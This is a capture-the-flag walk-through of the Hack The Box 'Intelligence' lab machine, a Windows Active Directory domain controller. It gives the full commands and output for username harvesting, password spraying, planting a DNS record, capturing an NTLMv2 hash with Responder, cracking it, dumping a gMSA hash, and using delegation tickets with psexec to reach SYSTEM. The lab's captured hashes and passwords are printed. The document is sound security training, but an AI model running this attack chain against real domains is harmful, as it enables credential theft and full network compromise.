Intelligence: Hack The Box Walk-through
by jseals
Background
Intelligence is a “vulnerable by design” machine created by Micah and hosted at hackthebox.eu. In this walk-through I perform the actions of an attacker. The goals are to get user-level privileges on the victim machine (get the flag in /home/$USER/user.txt) and escalate privileges to root (get the flag in /root/root.txt).
Victim Machine Specs
Reconnaissance
Start it off with a Nmap scan:
# Nmap 7.92 scan initiated Mon Nov 1 22:58:19 2021 as: nmap -sV -sC -oA nmap/intelligence -v intelligence.htb
Nmap scan report for intelligence.htb (10.129.247.213)
Host is up (0.056s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-title: Intelligence
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2021; +6h59m44s from scanner time.
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
| Issuer: commonName=intelligence-DC-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-19T00:43:16
| Not valid after: 2022-04-19T00:43:16
| MD5: 7767 9533 67fb d65d 6065 dff7 7ad8 3e88
|_SHA-1: 1555 29d9 fef8 1aec 41b7 dab2 84d7 0f9d 30c7 bde7
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2021; +6h59m44s from scanner time.
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
| Issuer: commonName=intelligence-DC-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-19T00:43:16
| Not valid after: 2022-04-19T00:43:16
| MD5: 7767 9533 67fb d65d 6065 dff7 7ad8 3e88
|_SHA-1: 1555 29d9 fef8 1aec 41b7 dab2 84d7 0f9d 30c7 bde7
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
| Issuer: commonName=intelligence-DC-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-19T00:43:16
| Not valid after: 2022-04-19T00:43:16
| MD5: 7767 9533 67fb d65d 6065 dff7 7ad8 3e88
|_SHA-1: 1555 29d9 fef8 1aec 41b7 dab2 84d7 0f9d 30c7 bde7
|_ssl-date: 2021; +6h59m44s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
| Issuer: commonName=intelligence-DC-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-19T00:43:16
| Not valid after: 2022-04-19T00:43:16
| MD5: 7767 9533 67fb d65d 6065 dff7 7ad8 3e88
|_SHA-1: 1555 29d9 fef8 1aec 41b7 dab2 84d7 0f9d 30c7 bde7
|_ssl-date: 2021; +6h59m44s from scanner time.
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 6h59m43s, deviation: 0s, median: 6h59m43s
| smb2-time:
| date: 2021
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Nov 1 22:59:51 2021 -- 1 IP address (1 host up) scanned in 92.27 seconds
We confirm it’s a Windows box and possibly an AD server since it’s serving LDAP, DNS, etc.
Enumeration
Let’s start the enumeration with a directory search on the web server with gobuster:
[/home/gn0stic/htb/intelligence] λ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -u http://intelligence.htb
Here’s what the homepage of the website looks like:
Looking at the source of the website and the gobuster output (sorry, gobuster output must not have been copied in my notes) we see a documents directory which we can’t access directly, but two pdfs can be downloaded from the website and they’re stored in that documents directory.
The PDFs just contain lorem ipsum text, nothing of interest on the surface.
Looking at the PDF files, I noticed there was a name in the form of first.last as the value of a creator field in the PDF metadata. I also thought maybe there were more PDFs in the document directory. Below are the hacky commands used to download all the documents using the y-m-d-upload.pdf naming convention.
Create month values:
>>> for x in range(1, 13):
... print("%02d" % (x,))
Create day values:
>>> for x in range(1, 31):
... print("%02d" % (x,))
I Used these together with the ffuf fuzzing tool to loop through and create an json output file of all the URLs found with a 200 response code. Example of ffufz for the month of december:
ffuf -w /usr/share/seclists/Fuzzing/calendar-days.txt -u http://intelligence.htb/documents/2020-12-FUZZ-upload.pdf -c -v -o fuzz-pdfs/12.log
We can then loop through and parse out the URL only with something like this:
jq -r '.results[].url' ffuf-output.json
I then looped through that with wget to download all the pdfs, we got 84 in total using this method:
Next, we pull out the Creator metadata field and use sed to remove the nonsense:
$ strings * |grep -v TeX |grep Creator > user-names.log
$ sed -i 's/\/Creator (//g' user-names.log
$ sed -i 's/)//g' user-names.log
Finally, sort and unique the file for a final list of potential users:
sort -u user-names.log > unique-user-names.log
We’re left with this nice list of usernames:
We have usernames but no passwords… Did a little looking around and learned how to do the pitchfork mode with ffuf, supplying two wordlists, one for each fuzzed parameter in the URL respectively. Much easier and cleaner than looping with bash. I ran this for the year 2021.
[/home/gn0stic/htb/intelligence/fuzz-pdfs/2021-pdfs] λ ffuf -w /usr/share/seclists/Fuzzing/month-ints.txt:MFUZZ -w /usr/share/seclists/Fuzzing/calendar-day-ints.txt:DFUZZ -u http://intelligence.htb/documents/2021-MFUZZ-DFUZZ-upload.pdf -c -v
This got me 17 pdfs for 2021 using the same month-day-upload.pdf format. I parsed the URLs out with jq, and again used wget to get all the PDFs.
Foothold
I wasn’t getting much with running strings on the PDFs, but PDF streams can include text that doesn’t show with strings, so I ran a search into the text streams of the PDFs and grepped for “pass”, we got a hit:
[/home/gn0stic/htb/intelligence/fuzz-pdfs/2020-pdfs] λ for x in $(ls *.pdf); do echo $x; pdf2txt.py $x |grep -i pass; done;
---cut some output---
2020-06-04-upload.pdf
Please login using your username and the default password of:
After logging in please change your password as soon as possible.
Looks interesting, let’s remove the grep and look at all of the text streams for this pdf:
[/home/gn0stic/htb/intelligence/fuzz-pdfs/2020-pdfs] λ pdf2txt.py 2020-06-04-upload.pdf
New Account Guide
Welcome to Intelligence Corp!
Please login using your username and the default password of:
NewIntelligenceCorpUser9876
After logging in please change your password as soon as possible.
So now we have usernames and a potential password, let’s hope we have some lazy users or users who haven’t logged in to change the password yet.
Let’s use crackmapexec to see if we can use our new password and the users we got, we’ll start by seeing if anyone has access to any shares:
[intelligence] λ crackmapexec smb intelligence.htb -u users.out -p NewIntelligenceCorpUser9876 --shares
----cut failed logon output----
SMB 10.129.248.252 445 DC [+] intelligence.htb\Tiffany.Molina:NewIntelligenceCorpUser9876
SMB 10.129.248.252 445 DC [+] Enumerated shares
SMB 10.129.248.252 445 DC Share Permissions Remark
SMB 10.129.248.252 445 DC ----- ----------- ------
SMB 10.129.248.252 445 DC ADMIN$ Remote Admin
SMB 10.129.248.252 445 DC C$ Default share
SMB 10.129.248.252 445 DC IPC$ READ Remote IPC
SMB 10.129.248.252 445 DC IT READ
SMB 10.129.248.252 445 DC NETLOGON READ Logon server share
SMB 10.129.248.252 445 DC SYSVOL READ Logon server share
SMB 10.129.248.252 445 DC Users READ
The user “Tiffany.Molina” gets a hit, looks like she has read access to 5 of the 7 shares found. Let’s start by listing out what’s in the IT share:
[intelligence] λ smbmap -H 10.129.248.252 -d intelligence.htb -r IT -u Tiffany.Molina -p NewIntelligenceCorpUser9876
[+] IP: 10.129.248.252:445 Name: intelligence.htb
Disk Permissions Comment
---- ----------- -------
IT READ ONLY
.\IT\*
dr--r--r-- 0 Sun Apr 18 19:50:58 2021 .
dr--r--r-- 0 Sun Apr 18 19:50:58 2021 ..
fr--r--r-- 1046 Sun Apr 18 19:50:58 2021 downdetector.ps1
Let’s download the powershell script we found:
[intelligence] λ smbmap -H 10.129.248.252 -d intelligence.htb -R IT -A downdetector.ps1 -u Tiffany.Molina -p NewIntelligenceCorpUser9876
[+] IP: 10.129.248.252:445 Name: intelligence.htb
[+] Starting search for files matching 'downdetector.ps1' on share IT.
[+] Match found! Downloading: IT\downdetector.ps1
What’s in the script?
[intelligence] λ cat 10.129.248.252-IT_downdetector.ps1
��# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*") {
try {
$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
if(.StatusCode -ne 200) {
Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down"
}
} catch {}
}
Looks like it iterates over the DNS records that start with web, trys an http request to that record, and if the http response code is not 200, it sends an e-mail to Ted Graves / Ted.Graves saying the host or A record is down or not reachable.
A couple things stick out, the comment at the top stating this runs every 5 minutes, in these htb challenges, this often means a way to root or something we can potentially abuse. Second, we have a new user that wasn’t in our list before. We need to add him to our users list and recheck our smb tests.
User
Now, what’s in the Users share?
[intelligence] λ smbmap -H 10.129.248.252 -d intelligence.htb -r Users -u Tiffany.Molina -p NewIntelligenceCorpUser9876
[+] IP: 10.129.248.252:445 Name: intelligence.htb
Disk Permissions Comment
---- ----------- -------
Users READ ONLY
.\Users\*
dw--w--w-- 0 Sun Apr 18 20:20:26 2021 .
dw--w--w-- 0 Sun Apr 18 20:20:26 2021 ..
dr--r--r-- 0 Sun Apr 18 19:18:39 2021 Administrator
dr--r--r-- 0 Sun Apr 18 22:16:30 2021 All Users
dw--w--w-- 0 Sun Apr 18 21:17:40 2021 Default
dr--r--r-- 0 Sun Apr 18 22:16:30 2021 Default User
fr--r--r-- 174 Sun Apr 18 22:15:17 2021 desktop.ini
dw--w--w-- 0 Sun Apr 18 19:18:39 2021 Public
dr--r--r-- 0 Sun Apr 18 20:20:26 2021 Ted.Graves
dr--r--r-- 0 Sun Apr 18 19:51:46 2021 Tiffany.Molina
Looks like it’s the actualy Users directory on the system, we have the user flag using this method:
[intelligence] λ smbmap -H 10.129.248.252 -d intelligence.htb -R Users -A user.txt -u Tiffany.Molina -p NewIntelligenceCorpUser9876
[+] IP: 10.129.248.252:445 Name: intelligence.htb
[+] Starting search for files matching 'user.txt' on share Users.
[+] Match found! Downloading: Users\Tiffany.Molina\Desktop\user.txt
[intelligence] λ cat 10.129.248.252-Users_Tiffany.Molina_Desktop_user.txt
3cd198c1db41468bd8--truncated--
Root
I did quite a lot of LDAP enumeration since I now had working credentials and got information on users, groups, etc. However, nothing was leading me to more information about Ted except that he was in the IT group.
I started to look for ways to add DNS entries remotely, I started my search by googling around for impacket related scripts since that tends to be the goto framework for AD interactions of all kinds. I didn’t find much on the impacket github, but this repo showed up in my results as well:
https://github.com/dirkjanm/krbrelayx
This contains a python script called ‘dnstool.py’. Looking through it, it uses the ldap3 module and impacket to remotely add a DNS record which is just what we need to activate that powershell script we found earlier.
I used the credentials for Tiffany and added an A record that started with “web” since the powershell script we found only checked for records starting with web*. The value / IP of the record is my htb vpn IP.
[krbrelayx(master)] λ python3 ./dnstool.py -u 'intelligence.htb\Tiffany.Molina' -p NewIntelligenceCorpUser9876 -a add -r webgn0stic -d 10.10.14.68 intelligence.htb
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
/home/gn0stic/code/github.com/krbrelayx/./dnstool.py:241: DeprecationWarning: please use dns.resolver.Resolver.resolve() instead
res = dnsresolver.query(zone, 'SOA')
[-] Adding new record
[+] LDAP operation completed successfully
What I’m assuming is that every 5 minutes, there is a script that Ted is running that will check these A records that get e-mailed to him from the powershell script. In that case, we start up a responder listener and after a few minutes, we get Ted’s hash:
[krbrelayx(master)] λ sudo responder -I tun0 -v
[sudo] password for gn0stic:
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.0.7.0
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
----cut out responder output----
[+] Listening for events...
[HTTP] Sending NTLM authentication request to 10.129.248.252
[HTTP] GET request from: 10.129.248.252 URL: /
[HTTP] Host : webgn0stic
[HTTP] NTLMv2 Client : 10.129.248.252
[HTTP] NTLMv2 Username : intelligence\Ted.Graves
[HTTP] NTLMv2 Hash : Ted.Graves::intelligence:16feb6a8f2b2bcf1:AB84615DAB46E9193E00E39948C1C998:0101000000000000E055A7F17BD1D7014608465278619AD8000000000200080059004C0052004F0001001E00570049004E002D003100530036003300560045003200430030005A0034000400140059004C0052004F002E004C004F00430041004C0003003400570049004E002D003100530036003300560045003200430030005A0034002E0059004C0052004F002E004C004F00430041004C000500140059004C0052004F002E004C004F00430041004C000800300030000000000000000000000000200000BE06E7A9EBD48DB52661E7F1489894A1EAC5ABF2E6FE41378FC50D1A16555B6D0A001000000000000000000000000000000000000900400048005400540050002F0077006500620067006E00300073007400690063002E0069006E00740065006C006C006900670065006E00630065002E006800740062000000000000000000
Great, we should be able to authenticate as Ted now. We can retry our commands and see if he has more access since he’s in IT. Let’s see if john can crack the hash with the rockyou list:
[intelligence] λ john --wordlist=/usr/share/wordlists/rockyou.txt ted.hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Mr.Teddy (Ted.Graves)
1g 0:00:00:08 DONE (2021) 0.1168g/s 1263Kp/s 1263Kc/s 1263KC/s Mrz.deltasigma..Morgant1
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed
Yup, no problem. We see “Mr.Teddy” is his password.
Reading through hacktricks, I saw this entry: https://book.hacktricks.xyz/windows/active-directory-methodology/privileged-accounts-and-token-privileges#group-managed-service-accounts-gmsa
Talking about gmsa. Looks interesting and I see the box seems to have one such account. I found this by first dumping the ldap info as Teddy:
[teddy-domain-dump] λ ldapdomaindump -r intelligence.htb -u 'intelligence.htb\Ted.Graves' -p 'Mr.Teddy'
grepping for msds on the json files that were output shows me a “svc_int” manged service account:
"dn": "CN=svc_int,CN=Managed Service Accounts,DC=intelligence,DC=htb"
This post explains how to dump the encrypted blob https://cube0x0.github.io/Relaying-for-gMSA/
I tried to use ntlmrelayx.py to dump the blob, but I must be using it wrong. The 5 minute cron job caused Ted to read my e-mail and access my web server that ntlmrelayx created, but it kept failing:
[*] Servers started, waiting for connections
[*] HTTPD: Received connection from 10.129.248.252, attacking target ldaps://intelligence.htb
[*] HTTPD: Client requested path: /
[*] HTTPD: Received connection from 10.129.248.252, attacking target ldaps://intelligence.htb
[*] HTTPD: Client requested path: /
[*] HTTPD: Client requested path: /
[-] Authenticating against ldaps://intelligence.htb as intelligence\Ted.Graves FAILED
[*] HTTPD: Client requested path: /uixa5y7sth
After some more searching, I found another tool: https://github.com/micahvandeusen/gMSADumper
It works right away and doesn’t require any listeners or waiting for Ted to connect.
[gMSADumper(main)] λ python3 gMSADumper.py -u Ted.Graves -p Mr.Teddy -d intelligence.htb
Users or groups who can read password for svc_int$:
> DC$
> itsupport
svc_int$:::c699eaac79b69357d9dabee3379547e6
[intelligence] λ cat domain-dump/*.json |grep -A 1 msDS-AllowedToDelegateTo
"msDS-AllowedToDelegateTo": [
"WWW/dc.intelligence.htb"
We have enough to try the Silver Ticket attack:
[ldap(master)] λ impacket-getST intelligence.htb/svc_int$ -spn WWW/dc.intelligence.htb -hashes :c699eaac79b69357d9dabee3379547e6 -impersonate Adminstrator
Impacket v0.9.25.dev1+20211027.123255.1dad8f7f - Copyright 2021 SecureAuth Corporation
[*] Getting TGT for user
Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
Kerberos is picky with clock skews, so let’s fix the that:
[ldap(master)] λ sudo ntpdate intelligence.htb
4 Nov 10:01:42 ntpdate[51145]: step time server 10.129.248.252 offset +25181.840344 sec
[ldap(master)] λ datetime
Generate the silver ticket:
[ldap(master)] λ impacket-getST intelligence.htb/svc_int$ -spn WWW/dc.intelligence.htb -hashes :c699eaac79b69357d9dabee3379547e6 -impersonate Administrator
Impacket v0.9.25.dev1+20211027.123255.1dad8f7f - Copyright 2021 SecureAuth Corporation
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache
Set the ticket’s path to the KRB5CCNAME env variable value:
[intelligence] λ export KRB5CCNAME=./Administrator.ccache
Finally, use psexec to get a cmd prompt as Administrator and get the root flag:
[intelligence] λ impacket-psexec intelligence.htb/Administrator@dc.intelligence.htb -k -no-pass
Impacket v0.9.25.dev1+20211027.123255.1dad8f7f - Copyright 2021 SecureAuth Corporation
[*] Requesting shares on dc.intelligence.htb.....
[*] Found writable share ADMIN$
[*] Uploading file xpAOeSsS.exe
[*] Opening SVCManager on dc.intelligence.htb.....
[*] Creating service gCDf on dc.intelligence.htb.....
[*] Starting service gCDf.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.1879]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
1367d648cf64c3f2--truncated--